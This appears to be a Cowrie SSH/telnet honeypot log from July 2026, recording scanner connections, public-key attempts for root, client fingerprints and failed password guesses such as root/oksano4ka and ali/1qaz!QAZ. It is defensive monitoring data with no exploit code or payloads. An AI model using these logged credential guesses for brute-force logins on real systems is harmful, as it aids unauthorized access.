{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:ca:bb:3e:c4:29:e2:93:c0:94:0b:d1:15:74:e6:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzMkGm9iu1WeLAtQOO/02vAyVZi8+ByTGZsOmSjvEhOAvbxlqWBx+a6IX+PrxxiGydFwgANzZ5qR3O4LVamr65JJBGi/b5FFjP8fQa70da9h+iahlfH9/GLOUDaY6GZVYpCHYknUpc4YsYe69Yn8JodktwORZl5bfF6kEmsvckiknP0NdIe4fzbzDZwwLyu2bvq9wN1gRKdzffyY2Cb2BD7ev//RFEliel0EDJJ+T7lmXuCtdPsQBso6iCaugDEN+hhT8SepDkIAZUrwJp/xZun1eVv5oweZ7uFW4KL6ceZNALmNoNzZmLMFw+4vYyYWUTZRrXzA3zvZTX++H51NdufIj7k/e2POT1cYj7R55YsaBIZjJh20RDkww6O+YA7vvrdb+MU60WXClgAkVpMDMQL7yx4LEQNZtJ0oWcY0RLV1xK8ff0jHFeZ46W9tPoOjd0DdSbK/MJDkeMyz8927iX2egThfCUpLZNHZk85Vuop6eQjE/wwX8Uq4LvsC6Erdk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:ca:bb:3e:c4:29:e2:93:c0:94:0b:d1:15:74:e6:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.836380Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:ca:bb:3e:c4:29:e2:93:c0:94:0b:d1:15:74:e6:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzMkGm9iu1WeLAtQOO/02vAyVZi8+ByTGZsOmSjvEhOAvbxlqWBx+a6IX+PrxxiGydFwgANzZ5qR3O4LVamr65JJBGi/b5FFjP8fQa70da9h+iahlfH9/GLOUDaY6GZVYpCHYknUpc4YsYe69Yn8JodktwORZl5bfF6kEmsvckiknP0NdIe4fzbzDZwwLyu2bvq9wN1gRKdzffyY2Cb2BD7ev//RFEliel0EDJJ+T7lmXuCtdPsQBso6iCaugDEN+hhT8SepDkIAZUrwJp/xZun1eVv5oweZ7uFW4KL6ceZNALmNoNzZmLMFw+4vYyYWUTZRrXzA3zvZTX++H51NdufIj7k/e2POT1cYj7R55YsaBIZjJh20RDkww6O+YA7vvrdb+MU60WXClgAkVpMDMQL7yx4LEQNZtJ0oWcY0RLV1xK8ff0jHFeZ46W9tPoOjd0DdSbK/MJDkeMyz8927iX2egThfCUpLZNHZk85Vuop6eQjE/wwX8Uq4LvsC6Erdk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.839164Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.867149Z","src_ip":"159.65.84.96","session":"8ca0c624f6d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:fd:40:0c:2c:53:2c:e3:16:39:eb:b5:57:7e:f9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKJGuaHsgKQ6SvFOngEviJN0g1HF18Dhs6RbCGP9X4NkVLNhQXgBBSVj8I1ENd3BQnu5MfWOdTeMrgRfzKVPK11uv6Uf8NWHCtXnWaFfOF/xMFfJGTW1OwbXKNTo7M+T7bi1e5BkXdTciyLOC07+rVmqsSiVqFp7+QFikppndwM3u9GJT+JNKPJDMtcTX0d8B/+JUfivzNxI5u+CrMNfpz8qhVacrkjHhu0pJMVWaRuVT3tSfUQNkCBnh1E98n+Iv2mEIj54sdiHKAzgcRxUIbdauaXXBjMupURtVi0oot3hwQ7Ce+S7K0gFiYw0eMhgpmv5awaVZhRoPinKYBTLAYVCVumZxjdXXyNVvzayV0RCFGgjqT1bIuJ/4skYS4u2pdxqCvUwwX758Bmd4cZWKskmhe4AwuVUtETjMOF0A4PnZLCwsBm3UsGouXkWMrP3x5sXREoQS4l73AkKP7YkpsH9eQBY33dnJPPL3Ysll+14Xu3qzjet+UNUcagz0AhO0f1S6cYLb4PsH5N8plUxYK/7R1aqapfuNoAzslyQhpFYCFoLI2c7ycj/p5K2J81DOTJjofnphmfty5Ab9v9Ic4QI7UxZjOuxWq1qW+tCKJuzuSciw1p/UsIgByGTBESAw2QA6tdEV9Bbid7l5jrHfiw9nIg6WtWvy5PSPc5VeVxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:fd:40:0c:2c:53:2c:e3:16:39:eb:b5:57:7e:f9:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.930352Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:fd:40:0c:2c:53:2c:e3:16:39:eb:b5:57:7e:f9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKJGuaHsgKQ6SvFOngEviJN0g1HF18Dhs6RbCGP9X4NkVLNhQXgBBSVj8I1ENd3BQnu5MfWOdTeMrgRfzKVPK11uv6Uf8NWHCtXnWaFfOF/xMFfJGTW1OwbXKNTo7M+T7bi1e5BkXdTciyLOC07+rVmqsSiVqFp7+QFikppndwM3u9GJT+JNKPJDMtcTX0d8B/+JUfivzNxI5u+CrMNfpz8qhVacrkjHhu0pJMVWaRuVT3tSfUQNkCBnh1E98n+Iv2mEIj54sdiHKAzgcRxUIbdauaXXBjMupURtVi0oot3hwQ7Ce+S7K0gFiYw0eMhgpmv5awaVZhRoPinKYBTLAYVCVumZxjdXXyNVvzayV0RCFGgjqT1bIuJ/4skYS4u2pdxqCvUwwX758Bmd4cZWKskmhe4AwuVUtETjMOF0A4PnZLCwsBm3UsGouXkWMrP3x5sXREoQS4l73AkKP7YkpsH9eQBY33dnJPPL3Ysll+14Xu3qzjet+UNUcagz0AhO0f1S6cYLb4PsH5N8plUxYK/7R1aqapfuNoAzslyQhpFYCFoLI2c7ycj/p5K2J81DOTJjofnphmfty5Ab9v9Ic4QI7UxZjOuxWq1qW+tCKJuzuSciw1p/UsIgByGTBESAw2QA6tdEV9Bbid7l5jrHfiw9nIg6WtWvy5PSPc5VeVxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.934005Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:ce:ce:f5:83:ee:5e:34:67:fd:c4:d1:5f:43:29:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVnU5kMgMwBDaqZfFrHd+/giUsK+fOTwhjmZxjCa2fUKLPzltzDIif8xlfZTcdPPupm5ZczLihf78q8l+QhWW4G2LB7BzyDEDYii//tztuY8m83eF5PdrCgJfc68uftddNWAiJc8JAQLy8trh5iLuP5upRxFUo+aQvxtT6k0OMRpz6/nM+HKbOlpq5ppc1dtB13gXH5ZBDXSNoSBHUyhoe2jS3lbo8CNprLNYGyh9AYRj/k+Q9roOL7412UlcY+1yagFtnfMrikC1gmr8keiEkBTPIRuP4YJPYQmGzWwUh2cSL+iFPiWcgRrQVoWyrDjqeKd9wd4Qw26OnELti/gisO5z3d2ZIq/FdB4vxbfxVeQ9PLl4xZlKJMfkGGgQH71Z5DPaY5wxmKCED3XLI4mJKqN2x9ywCFJYjnLm+K6RzuHFdt/kEE9s4krmOjeLNBWyjcT1ShviLhRi1CCe1Q9kRHXlTABoD6aeVpC2X5ptFS6WepjPaYCr1UGs8niRicbs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:ce:ce:f5:83:ee:5e:34:67:fd:c4:d1:5f:43:29:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:59.022103Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:ce:ce:f5:83:ee:5e:34:67:fd:c4:d1:5f:43:29:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVnU5kMgMwBDaqZfFrHd+/giUsK+fOTwhjmZxjCa2fUKLPzltzDIif8xlfZTcdPPupm5ZczLihf78q8l+QhWW4G2LB7BzyDEDYii//tztuY8m83eF5PdrCgJfc68uftddNWAiJc8JAQLy8trh5iLuP5upRxFUo+aQvxtT6k0OMRpz6/nM+HKbOlpq5ppc1dtB13gXH5ZBDXSNoSBHUyhoe2jS3lbo8CNprLNYGyh9AYRj/k+Q9roOL7412UlcY+1yagFtnfMrikC1gmr8keiEkBTPIRuP4YJPYQmGzWwUh2cSL+iFPiWcgRrQVoWyrDjqeKd9wd4Qw26OnELti/gisO5z3d2ZIq/FdB4vxbfxVeQ9PLl4xZlKJMfkGGgQH71Z5DPaY5wxmKCED3XLI4mJKqN2x9ywCFJYjnLm+K6RzuHFdt/kEE9s4krmOjeLNBWyjcT1ShviLhRi1CCe1Q9kRHXlTABoD6aeVpC2X5ptFS6WepjPaYCr1UGs8niRicbs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:59.025099Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:20:35:d7:39:a7:7e:c4:12:85:01:45:fc:5e:46:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfzsgYmUaQ6VsnGoIsdavngGWcZCj3HPIdz4hXqUPyYrUa7tn6C9L62WKosJyCZPq7SzrtpqDTI6u7cMNSs5eHDFOA+AdgSs5bsJFxtG/SWvUvDAs1dAzgGevWG33SyuPbGGKxaqZClcuaJOZabr+Q9DnjpN0JqfETk2RXqd44c7kBTrCNUFKPfiGkm5esxckKGWYvkr4OajoNWvZ6FhIaojfChsTrQUE9cJYBlxaRWgtAt/BcTV9d0aqu2T4IqGp85iq9N4mCPZznen9ojcPUGtdW2/yVc1eeLIPy9iJ56iMZspPQ/JIo5l2Mt1v8z61zUNN8ap+OggUv1O1xc05rTinlnSxEhLes8PV0tnVe2owkiOtSrLdQQDM1yZP+BcT5EXdAJE17+jrefUmN0djlHVfmKi4Z5xT54i4uYNFwhrujVJvVCZiwhoXeEfPa041eT/SujvYrbA1C76MasF632TXNF39wVl82pbShRRTFDgWYqJT1yFb3jFFSFddmUS/faGTLdlsYIC0UICiIpo81nEI4/vharHj6L2jT1lEX8WTj+eltf5coqAtJbB7nh7wmbBPZzDQnAyMAaAsAWayFB12a42dO0pw9KtpeJlxzbghn8KynIftDUDjt6kk3JEELKbPLII/oixXlV3QrG4/kE7TWJQnH+J4MGohqqU1AfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:20:35:d7:39:a7:7e:c4:12:85:01:45:fc:5e:46:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:59.143753Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:20:35:d7:39:a7:7e:c4:12:85:01:45:fc:5e:46:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfzsgYmUaQ6VsnGoIsdavngGWcZCj3HPIdz4hXqUPyYrUa7tn6C9L62WKosJyCZPq7SzrtpqDTI6u7cMNSs5eHDFOA+AdgSs5bsJFxtG/SWvUvDAs1dAzgGevWG33SyuPbGGKxaqZClcuaJOZabr+Q9DnjpN0JqfETk2RXqd44c7kBTrCNUFKPfiGkm5esxckKGWYvkr4OajoNWvZ6FhIaojfChsTrQUE9cJYBlxaRWgtAt/BcTV9d0aqu2T4IqGp85iq9N4mCPZznen9ojcPUGtdW2/yVc1eeLIPy9iJ56iMZspPQ/JIo5l2Mt1v8z61zUNN8ap+OggUv1O1xc05rTinlnSxEhLes8PV0tnVe2owkiOtSrLdQQDM1yZP+BcT5EXdAJE17+jrefUmN0djlHVfmKi4Z5xT54i4uYNFwhrujVJvVCZiwhoXeEfPa041eT/SujvYrbA1C76MasF632TXNF39wVl82pbShRRTFDgWYqJT1yFb3jFFSFddmUS/faGTLdlsYIC0UICiIpo81nEI4/vharHj6L2jT1lEX8WTj+eltf5coqAtJbB7nh7wmbBPZzDQnAyMAaAsAWayFB12a42dO0pw9KtpeJlxzbghn8KynIftDUDjt6kk3JEELKbPLII/oixXlV3QrG4/kE7TWJQnH+J4MGohqqU1AfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:59.146731Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:59.237574Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.080432891845703,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:09.836524Z","src_ip":"165.154.162.193","session":"27684623fb4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f0e7b08974","protocol":"telnet","message":"New connection: 165.154.162.193:58724 (159.203.135.109:23) [session: 73f0e7b08974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:09.900748Z"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"TERMINAL-TYPE","option_byte":24,"message":"Telnet WILL TERMINAL-TYPE","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:09.904625Z","src_ip":"165.154.162.193","session":"73f0e7b08974","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"UNKNOWN-25","option_byte":25,"message":"Telnet WILL UNKNOWN-25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:09.907471Z","src_ip":"165.154.162.193","session":"73f0e7b08974","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"UNKNOWN-25","option_byte":25,"message":"Telnet DO UNKNOWN-25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:09.909740Z","src_ip":"165.154.162.193","session":"73f0e7b08974","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"BINARY","option_byte":0,"message":"Telnet WILL BINARY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:09.911974Z","src_ip":"165.154.162.193","session":"73f0e7b08974","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"BINARY","option_byte":0,"message":"Telnet DO BINARY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:09.916200Z","src_ip":"165.154.162.193","session":"73f0e7b08974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":1627,"dst_ip":"10.17.0.5","dst_port":22,"session":"f68c55bd62cb","protocol":"ssh","message":"New connection: 180.247.63.92:1627 (10.17.0.5:22) [session: f68c55bd62cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:13.167393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:13.170760Z","src_ip":"180.247.63.92","session":"f68c55bd62cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:13.426215Z","src_ip":"180.247.63.92","session":"f68c55bd62cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1234","message":"login attempt [myuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:14.504201Z","src_ip":"180.247.63.92","session":"f68c55bd62cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:15.763940Z","src_ip":"180.247.63.92","session":"f68c55bd62cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35896,"dst_ip":"159.203.135.109","dst_port":22,"session":"41fe8bd09cbf","protocol":"ssh","message":"New connection: 193.37.70.224:35896 (159.203.135.109:22) [session: 41fe8bd09cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:24.916895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:24.921220Z","src_ip":"193.37.70.224","session":"41fe8bd09cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:25.013648Z","src_ip":"193.37.70.224","session":"41fe8bd09cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oksano4ka","message":"login attempt [root/oksano4ka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:25.295347Z","src_ip":"193.37.70.224","session":"41fe8bd09cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:26.390717Z","src_ip":"193.37.70.224","session":"41fe8bd09cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":49532,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a9dd12183a","protocol":"ssh","message":"New connection: 94.138.209.214:49532 (159.203.135.109:22) [session: f6a9dd12183a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:26.740878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:26.745609Z","src_ip":"94.138.209.214","session":"f6a9dd12183a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:26.884731Z","src_ip":"94.138.209.214","session":"f6a9dd12183a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58854,"dst_ip":"159.203.135.109","dst_port":23,"session":"12fa716be6ea","protocol":"telnet","message":"New connection: 170.64.224.25:58854 (159.203.135.109:23) [session: 12fa716be6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:27.203801Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"1qaz!QAZ","message":"login attempt [ali/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:27.468505Z","src_ip":"94.138.209.214","session":"f6a9dd12183a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5b8f3c21bb1","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: f5b8f3c21bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:27.709634Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:27.826586Z","src_ip":"64.89.160.135","session":"f5b8f3c21bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.086453676223755,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:27.987087Z","src_ip":"165.154.162.193","session":"73f0e7b08974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":43762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d45cdb6feed4","protocol":"telnet","message":"New connection: 165.154.162.193:43762 (159.203.135.109:23) [session: d45cdb6feed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:28.060632Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:28.067095Z","src_ip":"165.154.162.193","session":"d45cdb6feed4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6","password":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","message":"login attempt [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:28.070083Z","src_ip":"165.154.162.193","session":"d45cdb6feed4","protocol":"telnet"}
